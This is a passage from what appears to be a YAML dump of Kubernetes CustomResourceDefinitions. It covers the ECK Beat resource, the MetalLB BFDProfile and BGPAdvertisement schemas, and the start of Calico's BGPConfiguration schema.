                                This can not be 0 if MaxUnavailable is 0.
                                Absolute number is calculated from percentage by rounding up.
                                Defaults to 25%.
                                Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                the rolling update starts, such that the total number of old and new pods do not exceed
                                130% of desired pods. Once old pods have been killed,
                                new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                at any time during the update is at most 130% of desired pods.
                              x-kubernetes-int-or-string: true
                            maxUnavailable:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of pods that can be unavailable during the update.
                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                Absolute number is calculated from percentage by rounding down.
                                This can not be 0 if MaxSurge is 0.
                                Defaults to 25%.
                                Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                that the total number of pods available at all times during the update is at
                                least 70% of desired pods.
                              x-kubernetes-int-or-string: true
                          type: object
                        type:
                          description: Type of deployment. Can be "Recreate" or "RollingUpdate".
                            Default is RollingUpdate.
                          type: string
                      type: object
                  type: object
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to an Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                image:
                  description: Image is the Beat Docker image to deploy. Version and
                    Type have to match the Beat in the image.
                  type: string
                kibanaRef:
                  description: |-
                    KibanaRef is a reference to a Kibana instance running in the same Kubernetes cluster.
                    It allows automatic setup of dashboards and visualizations.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                monitoring:
                  description: |-
                    Monitoring enables you to collect and ship logs and metrics for this Beat.
                    Metricbeat and/or Filebeat sidecars are configured and send monitoring data to an
                    Elasticsearch monitoring cluster running in the same Kubernetes cluster.
                  properties:
                    logs:
                      description: Logs holds references to Elasticsearch clusters
                        which receive log data from an associated resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                    metrics:
                      description: Metrics holds references to Elasticsearch clusters
                        which receive monitoring data from this resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                  type: object
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying DaemonSet or Deployment.
                  format: int32
                  type: integer
                secureSettings:
                  description: |-
                    SecureSettings is a list of references to Kubernetes Secrets containing sensitive configuration options for the Beat.
                    Secrets data can be then referenced in the Beat config using the Secret's keys or as specified in `Entries` field of
                    each SecureSetting.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to Elasticsearch resource in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                type:
                  description: |-
                    Type is the type of the Beat to deploy (filebeat, metricbeat, heartbeat, auditbeat, journalbeat, packetbeat, and so on).
                    Any string can be used, but well-known types will have the image field defaulted and have the appropriate
                    Elasticsearch roles created automatically. It also allows for dashboard setup when combined with a `KibanaRef`.
                  maxLength: 20
                  pattern: '[a-zA-Z0-9-]+'
                  type: string
                version:
                  description: Version of the Beat.
                  type: string
              required:
              - type
              - version
              type: object
            status:
              description: BeatStatus defines the observed state of a Beat.
              properties:
                availableNodes:
                  format: int32
                  type: integer
                elasticsearchAssociationStatus:
                  description: AssociationStatus is the status of an association resource.
                  type: string
                expectedNodes:
                  format: int32
                  type: integer
                health:
                  type: string
                kibanaAssociationStatus:
                  description: AssociationStatus is the status of an association resource.
                  type: string
                monitoringAssociationStatus:
                  additionalProperties:
                    description: AssociationStatus is the status of an association
                      resource.
                    type: string
                  description: |-
                    AssociationStatusMap is the map of association's namespaced name string to its AssociationStatus. For resources that
                    have a single Association of a given type (for ex. single ES reference), this map contains a single entry.
                  type: object
                observedGeneration:
                  description: |-
                    ObservedGeneration represents the .metadata.generation that the status is based upon.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Beats
                    controller has not yet processed the changes contained in the Beats specification.
                  format: int64
                  type: integer
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: Beat
      listKind: BeatList
      plural: beats
      shortNames:
      - beat
      singular: beat
    conditions:
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:55:59Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: bfdprofiles.metallb.io
    resourceVersion: "57877"
    uid: f78c31d4-bbff-4816-acbd-76afb4b1d9e4
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: BFDProfile
      listKind: BFDProfileList
      plural: bfdprofiles
      singular: bfdprofile
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.passiveMode
        name: Passive Mode
        type: boolean
      - jsonPath: .spec.transmitInterval
        name: Transmit Interval
        type: integer
      - jsonPath: .spec.receiveInterval
        name: Receive Interval
        type: integer
      - jsonPath: .spec.detectMultiplier
        name: Multiplier
        type: integer
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: |-
            BFDProfile represents the settings of the bfd session that can be
            optionally associated with a BGP session.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BFDProfileSpec defines the desired state of BFDProfile.
              properties:
                detectMultiplier:
                  description: |-
                    Configures the detection multiplier to determine
                    packet loss. The remote transmission interval will be multiplied
                    by this value to determine the connection loss detection timer.
                  format: int32
                  maximum: 255
                  minimum: 2
                  type: integer
                echoInterval:
                  description: |-
                    Configures the minimal echo receive transmission
                    interval that this system is capable of handling in milliseconds.
                    Defaults to 50ms
                  format: int32
                  maximum: 60000
                  minimum: 10
                  type: integer
                echoMode:
                  description: |-
                    Enables or disables the echo transmission mode.
                    This mode is disabled by default, and not supported on multi
                    hops setups.
                  type: boolean
                minimumTtl:
                  description: |-
                    For multi hop sessions only: configure the minimum
                    expected TTL for an incoming BFD control packet.
                  format: int32
                  maximum: 254
                  minimum: 1
                  type: integer
                passiveMode:
                  description: |-
                    Mark session as passive: a passive session will not
                    attempt to start the connection and will wait for control packets
                    from peer before it begins replying.
                  type: boolean
                receiveInterval:
                  description: |-
                    The minimum interval that this system is capable of
                    receiving control packets in milliseconds.
                    Defaults to 300ms.
                  format: int32
                  maximum: 60000
                  minimum: 10
                  type: integer
                transmitInterval:
                  description: |-
                    The minimum transmission interval (less jitter)
                    that this system wants to use to send BFD control packets in
                    milliseconds. Defaults to 300ms
                  format: int32
                  maximum: 60000
                  minimum: 10
                  type: integer
              type: object
            status:
              description: BFDProfileStatus defines the observed state of BFDProfile.
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: BFDProfile
      listKind: BFDProfileList
      plural: bfdprofiles
      singular: bfdprofile
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: bgpadvertisements.metallb.io
    resourceVersion: "57881"
    uid: 76b38579-541d-4c7b-b6ae-7c6537e281c9
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: BGPAdvertisement
      listKind: BGPAdvertisementList
      plural: bgpadvertisements
      singular: bgpadvertisement
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.ipAddressPools
        name: IPAddressPools
        type: string
      - jsonPath: .spec.ipAddressPoolSelectors
        name: IPAddressPool Selectors
        type: string
      - jsonPath: .spec.peers
        name: Peers
        type: string
      - jsonPath: .spec.nodeSelectors
        name: Node Selectors
        priority: 10
        type: string
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: |-
            BGPAdvertisement allows to advertise the IPs coming
            from the selected IPAddressPools via BGP, setting the parameters of the
            BGP Advertisement.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BGPAdvertisementSpec defines the desired state of BGPAdvertisement.
              properties:
                aggregationLength:
                  default: 32
                  description: The aggregation-length advertisement option lets you
                    “roll up” the /32s into a larger prefix. Defaults to 32. Works
                    for IPv4 addresses.
                  format: int32
                  minimum: 1
                  type: integer
                aggregationLengthV6:
                  default: 128
                  description: The aggregation-length advertisement option lets you
                    “roll up” the /128s into a larger prefix. Defaults to 128. Works
                    for IPv6 addresses.
                  format: int32
                  type: integer
                communities:
                  description: |-
                    The BGP communities to be associated with the announcement. Each item can be a standard community of the
                    form 1234:1234, a large community of the form large:1234:1234:1234 or the name of an alias defined in the
                    Community CRD.
                  items:
                    type: string
                  type: array
                ipAddressPoolSelectors:
                  description: |-
                    A selector for the IPAddressPools which would get advertised via this advertisement.
                    If no IPAddressPool is selected by this or by the list, the advertisement is applied to all the IPAddressPools.
                  items:
                    description: |-
                      A label selector is a label query over a set of resources. The result of matchLabels and
                      matchExpressions are ANDed. An empty label selector matches all objects. A null
                      label selector matches no objects.
                    properties:
                      matchExpressions:
                        description: matchExpressions is a list of label selector
                          requirements. The requirements are ANDed.
                        items:
                          description: |-
                            A label selector requirement is a selector that contains values, a key, and an operator that
                            relates the key and values.
                          properties:
                            key:
                              description: key is the label key that the selector
                                applies to.
                              type: string
                            operator:
                              description: |-
                                operator represents a key's relationship to a set of values.
                                Valid operators are In, NotIn, Exists and DoesNotExist.
                              type: string
                            values:
                              description: |-
                                values is an array of string values. If the operator is In or NotIn,
                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                the values array must be empty. This array is replaced during a strategic
                                merge patch.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                          required:
                          - key
                          - operator
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      matchLabels:
                        additionalProperties:
                          type: string
                        description: |-
                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                        type: object
                    type: object
                    x-kubernetes-map-type: atomic
                  type: array
                ipAddressPools:
                  description: The list of IPAddressPools to advertise via this advertisement,
                    selected by name.
                  items:
                    type: string
                  type: array
                localPref:
                  description: |-
                    The BGP LOCAL_PREF attribute which is used by BGP best path algorithm,
                    Path with higher localpref is preferred over one with lower localpref.
                  format: int32
                  type: integer
                nodeSelectors:
                  description: NodeSelectors allows to limit the nodes to announce
                    as next hops for the LoadBalancer IP. When empty, all the nodes
                    having  are announced as next hops.
                  items:
                    description: |-
                      A label selector is a label query over a set of resources. The result of matchLabels and
                      matchExpressions are ANDed. An empty label selector matches all objects. A null
                      label selector matches no objects.
                    properties:
                      matchExpressions:
                        description: matchExpressions is a list of label selector
                          requirements. The requirements are ANDed.
                        items:
                          description: |-
                            A label selector requirement is a selector that contains values, a key, and an operator that
                            relates the key and values.
                          properties:
                            key:
                              description: key is the label key that the selector
                                applies to.
                              type: string
                            operator:
                              description: |-
                                operator represents a key's relationship to a set of values.
                                Valid operators are In, NotIn, Exists and DoesNotExist.
                              type: string
                            values:
                              description: |-
                                values is an array of string values. If the operator is In or NotIn,
                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                the values array must be empty. This array is replaced during a strategic
                                merge patch.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                          required:
                          - key
                          - operator
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      matchLabels:
                        additionalProperties:
                          type: string
                        description: |-
                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                        type: object
                    type: object
                    x-kubernetes-map-type: atomic
                  type: array
                peers:
                  description: |-
                    Peers limits the bgppeer to advertise the ips of the selected pools to.
                    When empty, the loadbalancer IP is announced to all the BGPPeers configured.
                  items:
                    type: string
                  type: array
              type: object
            status:
              description: BGPAdvertisementStatus defines the observed state of BGPAdvertisement.
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: BGPAdvertisement
      listKind: BGPAdvertisementList
      plural: bgpadvertisements
      singular: bgpadvertisement
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"bgpconfigurations.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"BGPConfiguration","listKind":"BGPConfigurationList","plural":"bgpconfigurations","singular":"bgpconfiguration"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"description":"BGPConfiguration contains the configuration for any BGP routing.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"BGPConfigurationSpec contains the values of the BGP configuration.","properties":{"asNumber":{"description":"ASNumber is the default AS number used by a node. [Default: 64512]","format":"int32","type":"integer"},"bindMode":{"description":"BindMode indicates whether to listen for BGP connections on all addresses (None)\nor only on the node's canonical IP address Node.Spec.BGP.IPvXAddress (NodeIP).\nDefault behaviour is to listen for BGP connections on all addresses.","type":"string"},"communities":{"description":"Communities is a list of BGP community values and their arbitrary names for tagging routes.","items":{"description":"Community contains standard or large community value and its name.","properties":{"name":{"description":"Name given to community value.","type":"string"},"value":{"description":"Value must be of format `aa:nn` or `aa:nn:mm`.\nFor standard community use `aa:nn` format, where `aa` and `nn` are 16 bit number.\nFor large community use `aa:nn:mm` format, where `aa`, `nn` and `mm` are 32 bit number.\nWhere, `aa` is an AS Number, `nn` and `mm` are per-AS identifier.","pattern":"^(\\d+):(\\d+)$|^(\\d+):(\\d+):(\\d+)$","type":"string"}},"type":"object"},"type":"array"},"ignoredInterfaces":{"description":"IgnoredInterfaces indicates the network interfaces that needs to be excluded when reading device routes.","items":{"type":"string"},"type":"array"},"listenPort":{"description":"ListenPort is the port where BGP protocol should listen. Defaults to 179","maximum":65535,"minimum":1,"type":"integer"},"localWorkloadPeeringIPV4":{"description":"The virtual IPv4 address of the node with which its local workload is expected to peer.\nIt is recommended to use a link-local address.","type":"string"},"localWorkloadPeeringIPV6":{"description":"The virtual IPv6 address of the node with which its local workload is expected to peer.\nIt is recommended to use a link-local address.","type":"string"},"logSeverityScreen":{"description":"LogSeverityScreen is the log severity above which logs are sent to the stdout. [Default: INFO]","type":"string"},"nodeMeshMaxRestartTime":{"description":"Time to allow for software restart for node-to-mesh peerings.  When specified, this is configured\nas the graceful restart timeout.  When not specified, the BIRD default of 120s is used.\nThis field can only be set on the default BGPConfiguration instance and requires that NodeMesh is enabled","type":"string"},"nodeMeshPassword":{"description":"Optional BGP password for full node-to-mesh peerings.\nThis field can only be set on the default BGPConfiguration instance and requires that NodeMesh is enabled","properties":{"secretKeyRef":{"description":"Selects a key of a secret in the node pod's namespace.","properties":{"key":{"description":"The key of the secret to select from.  Must be a valid secret key.","type":"string"},"name":{"default":"","description":"Name of the referent.\nThis field is effectively required, but due to backwards compatibility is\nallowed to be empty. Instances of this type with an empty value here are\nalmost certainly wrong.\nMore info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names","type":"string"},"optional":{"description":"Specify whether the Secret or its key must be defined","type":"boolean"}},"required":["key"],"type":"object","x-kubernetes-map-type":"atomic"}},"type":"object"},"nodeToNodeMeshEnabled":{"description":"NodeToNodeMeshEnabled sets whether full node to node BGP mesh is enabled. [Default: true]","type":"boolean"},"prefixAdvertisements":{"description":"PrefixAdvertisements contains per-prefix advertisement configuration.","items":{"description":"PrefixAdvertisement configures advertisement properties for the specified CIDR.","properties":{"cidr":{"description":"CIDR for which properties should be advertised.","type":"string"},"communities":{"description":"Communities can be list of either community names already defined in `Specs.Communities` or community value of format `aa:nn` or `aa:nn:mm`.\nFor standard community use `aa:nn` format, where `aa` and `nn` are 16 bit number.\nFor large community use `aa:nn:mm` format, where `aa`, `nn` and `mm` are 32 bit number.\nWhere,`aa` is an AS Number, `nn` and `mm` are per-AS identifier.","items":{"type":"string"},"type":"array"}},"type":"object"},"type":"array"},"serviceClusterIPs":{"description":"ServiceClusterIPs are the CIDR blocks from which service cluster IPs are allocated.\nIf specified, Calico will advertise these blocks, as well as any cluster IPs within them.","items":{"description":"ServiceClusterIPBlock represents a single allowed ClusterIP CIDR block.","properties":{"cidr":{"type":"string"}},"type":"object"},"type":"array"},"serviceExternalIPs":{"description":"ServiceExternalIPs are the CIDR blocks for Kubernetes Service External IPs.\nKubernetes Service ExternalIPs will only be advertised if they are within one of these blocks.","items":{"description":"ServiceExternalIPBlock represents a single allowed External IP CIDR block.","properties":{"cidr":{"type":"string"}},"type":"object"},"type":"array"},"serviceLoadBalancerIPs":{"description":"ServiceLoadBalancerIPs are the CIDR blocks for Kubernetes Service LoadBalancer IPs.\nKubernetes Service status.LoadBalancer.Ingress IPs will only be advertised if they are within one of these blocks.","items":{"description":"ServiceLoadBalancerIPBlock represents a single allowed LoadBalancer IP CIDR block.","properties":{"cidr":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: bgpconfigurations.crd.projectcalico.org
    resourceVersion: "6820612"
    uid: 33bc24b7-4a71-4238-b858-1fc55b0577b1
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: BGPConfiguration
      listKind: BGPConfigurationList
      plural: bgpconfigurations
      singular: bgpconfiguration
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: BGPConfiguration contains the configuration for any BGP routing.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BGPConfigurationSpec contains the values of the BGP configuration.
              properties:
                asNumber:
                  description: 'ASNumber is the default AS number used by a node.
                    [Default: 64512]'
                  format: int32
                  type: integer
                bindMode:
                  description: |-
                    BindMode indicates whether to listen for BGP connections on all addresses (None)
                    or only on the node's canonical IP address Node.Spec.BGP.IPvXAddress (NodeIP).
                    Default behaviour is to listen for BGP connections on all addresses.
                  type: string
                communities:
                  description: Communities is a list of BGP community values and their
                    arbitrary names for tagging routes.
                  items:
                    description: Community contains standard or large community value
                      and its name.
                    properties:
                      name:
                        description: Name given to community value.
                        type: string
                      value:
                        description: |-
                          Value must be of format `aa:nn` or `aa:nn:mm`.
                          For standard community use `aa:nn` format, where `aa` and `nn` are 16 bit number.
                          For large community use `aa:nn:mm` format, where `aa`, `nn` and `mm` are 32 bit number.
                          Where, `aa` is an AS Number, `nn` and `mm` are per-AS identifier.
                        pattern: ^(\d+):(\d+)$|^(\d+):(\d+):(\d+)$
                        type: string
                    type: object
                  type: array
                ignoredInterfaces:
                  description: IgnoredInterfaces indicates the network interfaces
                    that needs to be excluded when reading device routes.
                  items:
                    type: string
                  type: array
                listenPort:
                  description: ListenPort is the port where BGP protocol should listen.
                    Defaults to 179
                  maximum: 65535
                  minimum: 1
                  type: integer
                localWorkloadPeeringIPV4:
                  description: |-
                    The virtual IPv4 address of the node with which its local workload is expected to peer.
                    It is recommended to use a link-local address.
                  type: string
                localWorkloadPeeringIPV6:
                  description: |-
                    The virtual IPv6 address of the node with which its local workload is expected to peer.
                    It is recommended to use a link-local address.
                  type: string
                logSeverityScreen:
                  description: 'LogSeverityScreen is the log severity above which
                    logs are sent to the stdout. [Default: INFO]'
                  type: string
                nodeMeshMaxRestartTime:
                  description: |-
                    Time to allow for software restart for node-to-mesh peerings.  When specified, this is configured
                    as the graceful restart timeout.  When not specified, the BIRD default of 120s is used.
                    This field can only be set on the default BGPConfiguration instance and requires that NodeMesh is enabled
                  type: string
                nodeMeshPassword:
                  description: |-
                    Optional BGP password for full node-to-mesh peerings.
                    This field can only be set on the default BGPConfiguration instance and requires that NodeMesh is enabled
                  properties:
                    secretKeyRef:
                      description: Selects a key of a secret in the node pod's namespace.
                      properties:
                        key:
                          description: The key of the secret to select from.  Must
                            be a valid secret key.
                          type: string
                        name:
                          default: ""
                          description: |-
                            Name of the referent.
                            This field is effectively required, but due to backwards compatibility is
                            allowed to be empty. Instances of this type with an empty value here are
                            almost certainly wrong.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                        optional:
                          description: Specify whether the Secret or its key must
                            be defined
                          type: boolean
                      required:
                      - key
                      type: object
                      x-kubernetes-map-type: atomic
                  type: object
                nodeToNodeMeshEnabled:
                  description: 'NodeToNodeMeshEnabled sets whether full node to node
                    BGP mesh is enabled. [Default: true]'
                  type: boolean
                prefixAdvertisements:
                  description: PrefixAdvertisements contains per-prefix advertisement
                    configuration.
                  items:
                    description: PrefixAdvertisement configures advertisement properties
                      for the specified CIDR.
                    properties:
                      cidr:
                        description: CIDR for which properties should be advertised.
                        type: string
                      communities:
                        description: |-
                          Communities can be list of either community names already defined in `Specs.Communities` or community value of format `aa:nn` or `aa:nn:mm`.
                          For standard community use `aa:nn` format, where `aa` and `nn` are 16 bit number.
                          For large community use `aa:nn:mm` format, where `aa`, `nn` and `mm` are 32 bit number.
                          Where,`aa` is an AS Number, `nn` and `mm` are per-AS identifier.
                        items:
                          type: string
                        type: array
                    type: object
                  type: array
                serviceClusterIPs:
                  description: |-
